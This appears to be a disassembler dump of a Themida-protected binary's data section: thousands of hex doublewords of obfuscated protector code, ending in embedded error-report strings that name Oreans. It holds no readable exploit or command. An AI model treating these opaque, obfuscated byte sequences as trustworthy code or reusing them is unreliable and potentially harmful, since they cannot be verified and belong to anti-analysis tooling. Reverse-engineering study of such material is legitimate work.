5E71C99h, 1835E9h, 25BD0300h dd 8305E72Bh, 0E72E41BDh, 850F0005h, 0CEh, 68C0Fh, 0BD090000h dd 5E726CDh, 0FDFC858Dh, 816005E9h, 103000D0h, 4185292Ch dd 6105E72Ch, 49958B50h, 6A05E72Fh, 81BF6601h, 0F006A1Fh dd 1589h, 10E900h, 0E1AC0000h, 6048F295h, 0CDE8F011h, 0C3855EA9h dd 6A77E4h, 2491BD33h, 95FF05E7h, 5E72055h, 55F9BA66h dd 0FE268589h, 8B6605E9h, 6AFF6AF8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B10C355h dd 0E7148595h, 26B5FF05h, 3105E9FEh, 0E7156185h, 0C195FF05h dd 6A05E729h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 28D1C357h, 0A580B0EAh, 0A2B92382h dd 9E9h, 9D05EB00h, 4F3929B1h, 858DF367h, 5E9F237h, 12E9h dd 0D0114000h, 5172DD1Dh, 7E3731Bh, 1CFA32ADh, 5019BAD9h dd 8BD78B66h, 0F995FFD1h, 0F05E731h, 383h, 0FA8B6600h dd 0EE3CBF66h, 0F2C18589h, 8D8B05E9h, 5E701DDh, 0F244858Dh dd 50F505E9h, 1365BD23h, 0B5FF05E7h, 5E9F2C1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F9C35242h, 445E838h dd 43AD9E68h, 5ACE8B57h, 0F6195FFh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 74A1A4C3h dd 80D78150h, 5A08C580h, 32E58589h, 0C98105E7h, 66C4050Eh dd 0F2B2858Dh, 8E0F05E9h, 0Ch, 68D0Fh, 0BD8B0000h, 5E704CDh dd 0C19D0150h, 0E905E722h, 0Dh, 0E2636E35h, 0A31B611Ch dd 0F03309D6h, 0C1B5FF7Ah, 0BF05E9F2h, 2AD37D9h, 0F6195FFh dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0A823A3C3h, 26898D8Bh, 0D78A05E7h, 0F2D58589h dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 7D0BBC3h, 356F1C70h, 10E9887Bh, 0B7000000h dd 42B345A1h, 0B4D4404Ah, 987D16E5h, 8DBB79D2h, 0E9F29185h dd 91B58905h, 5005E71Ch, 10E9h, 649CF600h, 9BE62A0Ch, 126ADB9Ch dd 0DB581D2Dh, 0B5FFF526h, 5E9F2C1h, 4306B966h, 0F6195FFh dd 7E905E7h, 86000000h, 0DED39598h, 858935DDh, 5E9F2CDh dd 60D2B70Fh, 84858D61h, 8B05E9F2h, 0E713C98Dh, 958B5005h dd 5E70055h, 0F2C1B5FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 55AE56C3h, 0E0B65CE1h dd 56E4738Eh, 5A616056h, 6195FF5Fh, 6A05E70Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0ADFFC357h, 0BD2829Ah, 0D432CF40h, 2145BD23h, 8B6005E7h dd 83F380CFh, 0D1858961h, 6005E9F2h, 0D399D09h, 858B05E7h dd 5E7163Dh, 0F5BD8B61h, 8D05E705h, 0E9F29F85h, 0FD9D0905h dd 5005E731h, 2AA5B501h, 0B5FF05E7h, 5E9F2C1h, 7D9BD2Bh dd 95FF05E7h, 5E70F61h, 2DB58531h, 0BF0F05E7h, 0D8589FEh dd 8B05E717h, 0E72D818Dh, 53858D05h, 6A05E9F2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 7824C353h, 0CC971444h, 8A374640h, 0BD0350D3h, 5E7030Dh dd 0F2C1B5FFh, 0A0B105E9h, 0F6195FFh, 958905E7h, 5E7068Dh dd 0F2C58589h, 858D05E9h, 5E9F262h dd 0E950DCB1h, 5, 522E0A40h, 0C1B5FF71h, 8905E9F2h, 0E72DC195h dd 6195FF05h, 8105E70Fh, 0BF23C4D2h, 0AE95Ah, 3CD70000h dd 0BF964918h, 844D1CAEh, 0F2C98589h, 6A05E9h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0BFBDF3C3h, 0FB47E2Ah, 10468FCh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 72E633C3h dd 8DB44DCCh, 0E9F35985h, 0A3E98105h, 5078CE11h, 858DCF8Bh dd 5E9F45Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0B2C35747h, 9395D85Eh, 5A515026h, 6A505Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 284C51C3h, 0AC6E74DFh, 89E5E77Ah, 0E72A2985h, 8195FF05h dd 8105E708h, 0AA5E36E9h, 34B9662Ch, 0FC085E1h, 685h, 0B5958B00h dd 8005E723h, 0E9FE32BDh, 850F0005h, 6, 1370E9F5h, 0BD830000h dd 5E72E41h, 30850F00h, 8B000000h, 0DCBD83FAh, 5EA02h dd 59840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0B3E47FC3h, 8D2FD0B3h, 0E9F2F685h dd 1328E905h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 1804F5C3h, 8F57AC81h, 37E9h, 258D8900h dd 8D05E723h, 0E9F2E185h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 47C17DE9h dd 0F221DC70h, 8D894C7Ch, 5E7249Dh, 0CDBD8950h, 0E905E729h dd 11h, 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h, 8B0874D1h, 59858DF7h dd 8105E9F3h, 0AB828AC7h, 0BD83502Bh, 5E72E41h, 29840F00h dd 52000000h, 0F5958952h, 5A05E70Ah, 7F858D5Ah, 0F05E9F4h dd 8Dh, 17E900h, 8A0F0000h, 8, 2860Fh, 61600000h, 0F468858Dh dd 0D58005E9h, 950950FAh, 5E71C19h, 0F4B7858Dh, 0BD8905E9h dd 5E70595h, 0C1BD8B50h, 0FF05E72Ah, 0E7062995h, 0F8B70F05h dd 4A1CF181h, 0C4837DF1h, 0FE810h, 0D3600000h, 4171ACFBh dd 8320DBA2h, 0BAE34B8h, 59A9B25Ch, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 83687AC3h dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h dd 7D3B8C0h, 85890000h, 5E713D5h, 0AA349D8Dh, 0D3FF05E9h dd 0BD83585Bh, 5E71C15h, 50177400h, 7D3B853h, 85890000h dd 5E713D5h, 0A7239D8Dh, 0D3FF05E9h, 8589585Bh, 5E72291h dd 0CE8AC08Bh, 0F2E1BD81h, 726F05E9h, 840F6165h, 9Ch, 12750BBFh dd 59858D62h, 5005E9F3h, 0F496858Dh, 8D5005E9h, 0E9F4B785h dd 95FF5005h, 5E70629h, 0C60CC483h, 0E707F985h, 4F684405h dd 0FF96A318h, 0E70C25B5h, 17858D05h, 0FF05E739h, 8DD88BD0h dd 0E9F4B785h, 0D3FF5005h, 0F2E1858Dh, 8D5005E9h, 0E9F35985h dd 0BD835005h, 5E72E41h, 8D087400h, 0E9F47F85h, 8D06EB05h dd 0E9F46885h, 858D5005h, 5E9F4B7h, 2995FF50h, 8305E706h dd 896010C4h, 0E70BDD9Dh, 1D858905h, 6105E72Ah, 5E8h, 32696000h dd 8166DAFEh, 59641EE2h, 1CC995FFh, 0C88A05E7h, 0FF25h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0E8CB2B9Fh, 6, 89CE0EB3h, 0D78B3915h, 5F8835Fh dd 46830Fh, 958B0000h, 5E730ADh, 228585C7h, 105E7h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 41669EC3h, 15858DC9h, 8905E9F3h, 0E726659Dh, 3DE905h dd 9D890000h, 5E700F5h, 2E41BD83h, 0F0005E7h, 2184h, 10E900h dd 0DC140000h, 0F1853425h, 0FA84A50Ah, 0BD3D1C7Eh, 858DE666h dd 5E9F340h, 9E9F9h, 858D0000h, 5E9F322h, 8928ED80h, 0E9F35585h dd 83CB8B05h, 0E72E41BDh, 850F0005h, 35h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 27C35343h, 6D7F9AE8h dd 1E559D01h, 9FD18062h, 2DCBD83h, 0F0005EAh, 0B84h, 0FF0E900h dd 9D890000h, 5E70729h, 45DE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0E9730916h dd 0A483ACEDh, 31699523h, 0C08B05E7h, 80CE8B66h, 0BD8372D9h dd 5E70D79h, 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h dd 7D4B8h, 0D5858900h, 8D05E713h, 0E9AA349Dh, 5BD3FF05h dd 15BD8358h, 5E71Ch, 53501774h, 7D4B8h, 0D5858900h, 8D05E713h dd 0E9A7239Dh, 5BD3FF05h, 9D89F958h, 5E71305h, 12E9C08Bh dd 0EF000000h, 9C30182Dh, 0A020025Eh, 0E8159E20h, 975DA3B8h dd 3F689Fh, 6AF9000Fh, 95BD8900h, 6A05E72Ah, 0C9816600h dd 8F0F015Bh, 1Dh, 11E8h, 12EA7200h, 7C8B4FADh, 931AEDD7h dd 4049DA3Dh, 0BD8B4D1Dh, 5E730C1h, 0E595FF5Fh, 6A05E732h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 683CC353h, 7D9AB686h, 0B96607F4h, 0C0853E5Dh dd 0B850Fh, 6E90000h, 0A0000000h, 6371FE0Bh, 0D985894Fh dd 905E9F2h, 0E70E8195h, 97F3BF05h, 6A138Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 78C35141h, 0B6243649h dd 8B9CCA58h, 0E732E9BDh, 0BA006A05h, 7C9A85FFh, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 47C36EC3h, 0E2C11ED2h, 66CB8BC2h, 6AA0C1B9h, 6ACA8A00h dd 3D958B00h, 8D05E716h, 0E9F4B785h, 9E85005h, 8D000000h dd 0CB7A8894h, 0EE02D466h, 59B3BF66h, 5650595Ah, 13ADBD8Bh dd 895A05E7h, 0E70AA58Dh, 0B6016A05h, 8B016A6Eh, 0F016AF8h dd 184h, 0FF68F800h, 0F000F01h, 8Dh, 41BD8300h, 5E72Eh dd 39840Fh, 0B5890000h, 5E70B55h, 0F336858Dh, 0E95005E9h dd 9, 0B0C1DC10h, 0D80A5291h, 606059A1h, 858BDA8Bh, 5E731CDh dd 91BD2961h, 6105E72Eh, 18E9h, 0CD9D8900h, 8D05E726h dd 0E9F30C85h, 68D0F05h, 2B000000h, 0E72F0995h, 95895005h dd 5E7147Dh, 459D0150h, 0FF05E732h, 0E9F2D9B5h, 11958B05h dd 0FF05E717h, 0E9F2C595h, 0D2816605h, 95296D4Eh, 5E72B49h dd 850FC085h, 71h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 28C35141h, 0EC796D27h, 7E85D56h, 36000000h dd 0F7692F6Fh, 0BD8BABE4h, 5E707E1h, 0BAE959h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 514DE3C3h, 0B1F030DCh, 0FE926h, 5D280000h, 4F7327DEh dd 36542CF1h, 0DBE42779h, 0DD858952h, 6A05E9F2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5532C357h, 0EFD6419Dh, 8880FBCh, 52000000h, 2261958Bh dd 8A5905E7h, 0DDB5FFD3h, 6A05E9F2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6671C351h dd 0FF19A4B9h, 0E7170D95h, 0F98B6605h, 850FC085h, 14h dd 2830Fh, 12B10000h, 6880Fh, 8D8B0000h, 5E703FDh, 0B589106Ah dd 5E70441h dd 2E41BD83h, 0F0005E7h, 2984h, 2D958B00h, 8D05E723h, 0E9F33685h dd 0C9F58005h, 21E9h, 0CE800h, 2A360000h, 2F8A088h, 0FFE3EBAAh dd 0BF0FE6CDh, 858D5AC9h, 5E9F30Ch, 69BDE981h, 8B5068D5h dd 0E72D758Dh, 0D9B5FF05h, 8B05E9F2h, 0D195FFC8h, 8B05E9F2h dd 0E7258595h, 0FC08505h, 385h, 0C9B70F00h, 0F2DD8589h dd 666005E9h, 8175DCBEh, 0B6A5FBE3h, 6A617Eh, 7DB58957h dd 5A05E717h, 0BA66006Ah, 0B5FF815Fh, 5E9F2DDh, 31852B60h dd 5705E709h, 2D51BD89h, 615B05E7h, 0F2C995FFh, 4BA05E9h dd 8561DC7Ch, 13850FC0h, 0E9000000h, 0Eh, 4D62E3A0h, 68A6DE7Ah dd 0E7094240h, 0B5FF6A8Ah, 5E9F2DDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 39C35747h, 38B96969h, 0FFCE9B28h dd 0E7170D95h, 0F1F9BF05h, 0C0855EC2h, 850Fh, 6A0000h dd 218D8589h, 0BA6605E7h, 8068400Eh, 51000000h, 27F1BD89h dd 6A5905E7h, 6880F03h, 8B000000h, 0E70CA1BDh, 89006A05h dd 0E72A9995h, 0F006A05h, 48Ah, 3EB96600h, 68F1h, 8166C000h dd 0FFD1B4E2h, 0E9F355B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 6D0AC9C5h dd 95FFB7DEh, 5E70379h, 0FFF883FCh, 496850Fh, 958B0000h dd 5E72D61h, 0FDC385FFh, 0BD8B05E9h, 5E71A21h, 0FDC3BD83h dd 0F0205E9h, 39A84h, 0D9BD8B00h, 8D05E706h, 5AF59F85h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 81D0FF4Ah, 80DAADD9h, 0F2858D76h, 0F005AEFh dd 58Fh, 0A098BF00h, 0D0FF61DBh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 1AC35646h, 0A3E4AF1Dh, 8B13FDE9h dd 858953C0h, 5E715C9h, 79BD835Ah, 5E70Dh, 0BD830975h dd 5E71C15h, 50197400h, 0B8C08B53h, 7D8h, 13D58589h, 9D8D05E7h dd 5E9AA34h, 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535017h dd 7D8h, 13D58589h, 9D8D05E7h, 5E9A723h, 585BD3FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4BC35343h, 54117C2Dh dd 10E9E005h, 0B9000000h, 7943471Ah, 1737186Ah, 4639BEC8h dd 0FC1F562Eh, 9589C08Bh, 5E71721h, 0F003F68h, 0DBD2900h dd 6A05E704h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0B1AAF083h, 0A87EEED8h, 6A006AE3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FF11C357h, 0E732E595h, 0C085F505h, 13E8h dd 75902A00h, 6BA75F2Fh dword_570720 dd 971A6958h, 8950C642h, 32C14E37h, 895AFE8Bh, 0E9F2D985h ; DATA XREF: Themida_:loc_5495BCo dd 39858905h, 6805E702h, 0F01FFh, 0EAD8D8Bh, 0B58905E7h dd 5E70F0Dh, 2E41BD83h, 0F0005E7h, 5384h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0FA269E53h, 819523A8h, 8D05E715h, 0E9F33685h, 0D78B6605h dd 48E9h, 13E800h, 0BEFE0000h, 0F6AEB917h, 0F85A6B99h dd 0AC72869Ch, 2320BB1Eh, 3D952317h, 5A05E700h, 0F30C858Dh dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0F581F3C3h, 0BC7A3BB7h, 6657509Ch, 0FF59D78Bh dd 0E9F2D9B5h, 69958B05h, 0FF05E725h, 0E9F2D195h, 0E76DBF05h dd 85893251h, 5E9F2DDh, 0C7D3B70Fh, 0E72C6D85h, 5, 0DDBD8300h dd 5E9F2h, 125840Fh, 95890000h, 5E725C1h, 0F5BB858Dh, 852905E9h dd 5E71CE5h, 816650FCh, 6A169CDAh, 81665201h, 594F9AEAh dd 0F2DDB5FFh, 0F48A05E9h, 0F2D595FFh, 0B70F05E9h, 15958BC8h dd 0FF05E70Eh, 0E9F2DDB5h, 0A9B58905h, 0FF05E726h, 0E7170D95h dd 1FF6805h, 6A000Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 921E05C3h, 8B5367A8h, 0BD835AD0h dd 5E72E41h, 20840F00h, 0F000000h, 380h, 0F8B70F00h, 0F336858Dh dd 858905E9h, 5E722D1h, 22E9h, 59D8900h, 8D05E723h, 0E9F30C85h dd 98D98005h, 0EE9h, 69C37800h, 0FA062203h, 0C2D01088h dd 506729C7h, 25558D8Bh, 0B58905E7h, 5E7008Dh, 0F2D9B5FFh dd 0B53105E9h, 5E71279h, 0D195FFF9h, 0E905E9F2h, 0Bh, 6F37E015h dd 56A1F6E6h, 892A91B8h, 0E9F2DD85h, 0CAE18105h, 0FF607236h dd 0E9F2DDB5h, 3DBD3305h, 0FF05E716h, 0E9F2CD95h, 0DDB58905h dd 0FF05E71Ah, 0E9F2DDB5h, 0FF02B505h, 0E7170D95h, 81BD8B05h dd 0E905E715h, 0FFFFF7B6h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 4DC35242h, 0FF21720Dh, 0E9FE26B5h, 0AD8D8B05h dd 0FF05E721h, 0E732CD95h, 59BA6605h, 0E9858BDBh, 6A05E708h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0B1CC357h, 29AE309Ah, 0E71311B5h, 545E905h dd 4FB10000h, 0F5DBB58Dh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8DA6ECC3h, 0E9A41F85h dd 0BDB52905h, 0B105E708h, 80D0FFE7h, 6AF0F5h, 25499523h dd 95FF05E7h, 5E727D1h, 8BCBBF0Fh, 119589F3h, 8D05E713h dd 0E9A41F85h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0B8C7EB2Eh, 0D18B6653h dd 0FFF88B59h, 71BD89D0h, 6A05E72Fh, 0B1BD8B00h, 0FF05E732h dd 0E727D195h, 0D7B70F05h, 9E8C08Bh, 0EA000000h, 379F9034h dd 17998A94h, 5E8h, 0F8795100h, 0B589E0B5h, 5E700C5h, 0BD835959h dd 5E70D79h, 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h dd 7D9B8h, 0D5858900h, 8D05E713h, 0E9AA349Dh, 5BD3FF05h dd 15BD8358h, 5E71Ch, 53501774h, 7D9B8h, 0D5858900h, 8D05E713h dd 0E9A7239Dh, 5BD3FF05h, 6840F58h, 31000000h, 0E72E8595h dd 50C08B05h, 0F98B6656h, 0B1D88B5Fh, 9D8D53D3h, 5E713E5h dd 389038Bh, 8950438Bh, 9D8D5043h, 5E9FDBFh, 389038Bh dd 0E281665Bh, 0B9665CE9h, 6AF954h, 4D58D03h, 858D05E7h dd 5E9FDBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0A7C35242h, 2621958Bh, 8B5005E7h, 0E70DADBDh, 0F5606A05h dd 13E5858Dh, 0BD2905E7h, 5E73119h, 499BD2Bh, 895005E7h dd 0E721A5B5h, 38F0F05h, 66000000h, 6AC88Bh, 68C0Fh, 0BD8B0000h dd 5E725D1h, 0BF66006Ah, 68F4FAh, 6A000018h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 3C7AC350h, 0C05149ADh, 85893527h, 5E70E8Dh, 0CE960h dd 5D250000h, 2A605B39h, 80F677F2h, 0BF0FD8ABh, 815361F6h dd 0E9D81FE7h, 4D95FF27h, 6605E704h, 0E974C3B9h, 0Fh, 56AFDF09h dd 3A5DECEEh, 0DD752E77h, 0FF07A31Ah, 0E70CC595h, 49958905h dd 0FF05E726h, 0E9FE26B5h, 1DF18005h, 32CD95FFh, 8D8B05E7h dd 5E70231h, 10E9h, 0D0372B00h, 0B3176883h, 96F40694h dd 82B07Ch, 0E5858D74h, 0E905E713h, 0Dh, 0C84E4C4Fh, 0F0BCAE1Fh dd 0B5920DEDh, 18408B92h, 818D2352h, 5905E731h, 4D185C7h dd 5E7h, 0A1BF0000h, 83242791h, 0E72E41BDh, 840F0005h dd 49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh dd 24C35343h, 82D050B7h, 57879AE0h, 59C8B70Fh, 2B9D9D89h dd 8C3D05E7h, 0F000000h, 17F83h, 0DFE98100h, 0E902D3B6h dd 15h, 8B66D68Bh, 963DC8h, 830F0000h, 164h, 971A49B9h dd 9F858D7Dh, 0F005AF5h, 689h, 0E19D2900h, 0FF05E701h dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0ED02CD63h, 0BF5B589h, 858D05E7h, 5AEFF2h dd 74E1CA81h, 8B60522Bh, 0E702C995h, 19950905h, 6105E717h dd 8166D0FFh, 8B1AFED7h, 666052C0h, 3B583BFh, 0E70D9D8Dh dd 835A6105h, 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h dd 8B535019h, 0BC6B8C0h, 85890000h, 5E713D5h, 0AA349D8Dh dd 0D3FF05E9h, 0BD83585Bh, 5E71C15h, 50177400h, 0BC6B853h dd 85890000h, 5E713D5h, 0A7239D8Dh, 0D3FF05E9h, 0CA8A585Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1CC35242h dd 82F6B98Fh, 85890296h, 5E71511h, 11E8C08Bh, 4B000000h dd 2A373583h, 12430AFFh, 8A1DD76Ch, 0BC3A0088h, 19E9BD01h dd 835905E7h, 850FFFF8h, 38h, 0E1B58960h, 0F05E712h, 287h dd 61616000h, 0B681D181h, 85C71C31h, 5E70CD9h, 0 aFbsCsx db 'fá!–éå',0 dd 66510000h, 48B3F181h, 17E95Fh, 0EC8A0000h, 0F01F883h dd 0C85h, 10E9F800h, 0F000001h, 83h, 0F310E900h, 9501FFFFh dd 5E70801h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0C86009C3h, 8A2A2811h, 8394B2DFh dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h dd 7DDB8C0h, 85890000h, 5E713D5h, 0AA349D8Dh, 0D3FF05E9h dd 0BD83585Bh, 5E71C15h, 50177400h, 7DDB853h, 85890000h dd 5E713D5h, 0A7239D8Dh, 0D3FF05E9h, 0BF66585Bh, 6AD4E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 2E4A38C3h, 19E65892h, 958957C9h, 5E720C9h, 0D585015Fh dd 8B05E726h, 17E9F5C0h, 8A000002h, 0ED958BCAh, 8D05E70Bh dd 0E9FBC385h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0E6362BBCh, 0DCD9589h dd 8E905E7h, 89000000h, 0B51F7500h, 89D3B57Dh, 0E9FDBB85h dd 4ACE8005h, 37E9h, 8D07B200h, 0E9F9CB85h, 6880F05h, 89000000h dd 0E72F259Dh, 4025B505h, 68B0Fh, 952B0000h, 5E72F41h dd 0FDBB8589h, 9E905E9h, 44000000h, 0E0F27D60h, 0E048722Ah dd 858D346Ah, 5E71489h, 0BBB5FF50h, 6A05E9FDh, 0A995FF00h dd 8305E70Ah, 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh dd 7F985C6h, 685605E7h, 9CA8B852h, 0C25B5FFh, 858D05E7h dd 5E73917h, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 0E9FE2E85h dd 0F985C605h, 4705E707h, 18AC9B68h, 25B5FFECh, 8D05E70Ch dd 0E7391785h, 0FFD0FF05h, 0C6F08BD0h, 0E707F985h, 61684F05h dd 0FFC62F26h, 0E705F1B5h, 17858D05h, 0FF05E739h, 2A9D8DD0h dd 5305E9FEh, 0FF56286Ah, 75C085D0h, 0F985C600h, 4105E707h dd 87649868h, 0F1B5FFDBh, 8D05E705h, 0E7391785h, 89D0FF05h dd 0E9FE4785h, 0F985C605h, 4C05E707h, 0A4E7A468h, 0F1B5FF80h dd 8D05E705h, 0E7391785h, 8BD0FF05h, 0E9FE2E9Dh, 45B8D05h dd 339D8D53h, 5305E9FEh, 0D0FF006Ah, 0FE2E9D8Bh, 3C705E9h dd 1, 20C43C7h, 0C7000000h, 0E71B9585h, 5, 6A006A00h, 8B006A00h dd 0E9FE2E9Dh, 6A5305h, 0FE2AB5FFh, 95FF05E9h, 5E9FE47h dd 7F985C6h, 684505E7h, 92A5F797h, 13C5B5FFh, 858D05E7h dd 5E73917h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h dd 0FE2E9D8Bh, 43C705E9h, 0Ch, 6A006A00h, 2E9D8B00h, 5305E9FEh dd 0B5FF006Ah, 5E9FE2Ah, 0FE4795FFh, 0B5FF05E9h, 5E9FE2Ah dd 0CC595FFh, 6A05E7h, 27D195FFh, 0F3B605E7h, 260D9D09h dd 858D05E7h, 5EA2F56h, 2259D89h, 6A5005E7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 6796C351h, 775E0B40h, 4D55E2F2h, 3C28B60h, 0E7323995h dd 81666105h, 0E96912DAh, 5, 1B53BFF1h, 35FF6405h, 0 dd 11E9h, 61F8D500h, 4169811Fh, 2A278FEAh, 0FCEAFCCFh dd 896421F7h, 25h, 0AE900h, 4CB90000h, 0AAB2A790h, 2C33E5FBh dd 3301BD83h, 0F0005E7h, 3484h, 18D8900h, 8305E70Eh, 0E707F1BDh dd 850F0105h, 21h, 21E98D2Bh, 0BD8005E7h, 5EA0247h, 0E850F00h dd 66000000h, 4AE9C88Bh, 89000001h, 0E704A1BDh, 0FDB3305h dd 384h, 0CBB70F00h, 12BFC033h, 40483EA2h, 0B073F0Fh, 58F64h dd 83000000h, 0FE904C4h, 0DD000000h, 0F6B71A89h, 0E36A92C0h dd 199199ACh, 0B9664252h, 0FB83A3E6h, 17840FFFh, 89000000h dd 0E70BFD95h, 0EDE905h, 830F0000h, 6, 1765BD8Bh, 8CE905E7h dd 89000000h, 0E70BC195h, 9ADA8105h, 8B71CED1h, 0C70C244Ch dd 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h dd 550C245Ch, 0E8h, 0ED815D00h, 5EA2F78h, 0B8838Bh, 858D0000h dd 5EA3030h, 0B88389h, 335D0000h, 0BD29C3C0h, 5E70109h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F8C35343h dd 6CFE6CCBh, 0E2237DC3h, 0AE85Ch, 51BC0000h, 7DE8803Dh dd 1D68D90Ah, 27599589h, 8D5A05E7h, 0EA2F6E85h, 50F4B505h dd 3B5BD89h, 0FF6405E7h, 35h, 0D1816600h, 8964E45Ch, 25h dd 34EA8100h, 0B978EC23h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h dd 0BA8685D4h, 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh dd 0C70A7556h, 0E72A3585h, 105h, 58F6400h, 0 dd 8A04C483h, 79B529D1h, 8B05E706h, 659D29C0h, 8305E70Ah dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h dd 43DB8C0h, 85890000h, 5E70F2Dh, 0AA9B9D8Dh, 0D3FF05E9h dd 0BD83585Bh, 5E71C15h, 50177400h, 43DB853h, 85890000h dd 5E70F2Dh, 0A73C9D8Dh, 0D3FF05E9h, 8D89585Bh, 5E72375h dd 0FE9h, 0D9700A00h, 3861FBB6h, 74E65D80h, 8589DE67h dd 3AE9C08Bh, 4000001h, 31000000h, 3535382Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 0D5BD8300h dd 5E732h, 12D840Fh, 858D0000h, 5E9A553h, 0BD858D50h, 5005E9A4h dd 168h, 